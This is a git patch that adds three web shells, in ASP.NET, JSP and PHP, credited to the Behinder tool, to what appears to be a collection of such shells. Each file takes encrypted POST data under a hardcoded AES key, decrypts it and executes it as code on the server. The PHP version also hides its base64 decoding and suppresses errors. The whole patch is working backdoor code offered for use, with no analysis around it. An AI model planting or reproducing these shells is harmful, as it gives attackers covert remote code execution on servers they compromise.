From 9b50a0cb22df36be0e44f6e1f87060f6f9aa66db Mon Sep 17 00:00:00 2001
From: tennc <670357+tennc@users.noreply.github.com>
Date: Tue, 18 Aug 2020 21:12:39 +0800
Subject: [PATCH] add some shell
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

add shell.aspx shell.jsp shell.php with Behinder
from : https://github.com/rebeyond/Behinder
author: rebeyond  👍
---
 Behinder/shell.aspx |  1 +
 Behinder/shell.jsp  |  1 +
 Behinder/shell.php  | 29 +++++++++++++++++++++++++++++
 3 files changed, 31 insertions(+)
 create mode 100644 Behinder/shell.aspx
 create mode 100644 Behinder/shell.jsp
 create mode 100644 Behinder/shell.php

diff --git a/Behinder/shell.aspx b/Behinder/shell.aspx
new file mode 100644
index 0000000..1774389
--- /dev/null
+++ b/Behinder/shell.aspx
@@ -0,0 +1 @@
+<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
\ No newline at end of file
diff --git a/Behinder/shell.jsp b/Behinder/shell.jsp
new file mode 100644
index 0000000..63fb12b
--- /dev/null
+++ b/Behinder/shell.jsp
@@ -0,0 +1 @@
+AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb
\ No newline at end of file
diff --git a/Behinder/shell.php b/Behinder/shell.php
new file mode 100644
index 0000000..35a2923
--- /dev/null
+++ b/Behinder/shell.php
@@ -0,0 +1,29 @@
+<?php
+@error_reporting(0);
+session_start();
+
+if ($_SERVER['REQUEST_METHOD'] === 'POST')
+{
+    $key="e45e329feb5d925b";
+	$_SESSION['k']=$key;
+	$post=file_get_contents("php://input");
+	if(!extension_loaded('openssl'))
+	{
+		$t="base64_"."decode";
+		$post=$t($post."");
+		
+		for($i=0;$i<strlen($post);$i++) {
+    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
+    			}
+	}
+	else
+	{
+		$post=openssl_decrypt($post, "AES128", $key);
+	}
+    $arr=explode('|',$post);
+    $func=$arr[0];
+    $params=$arr[1];
+	class C{public function __invoke($p) {eval($p."");}}
+    @call_user_func(new C(),$params);
+}
+?>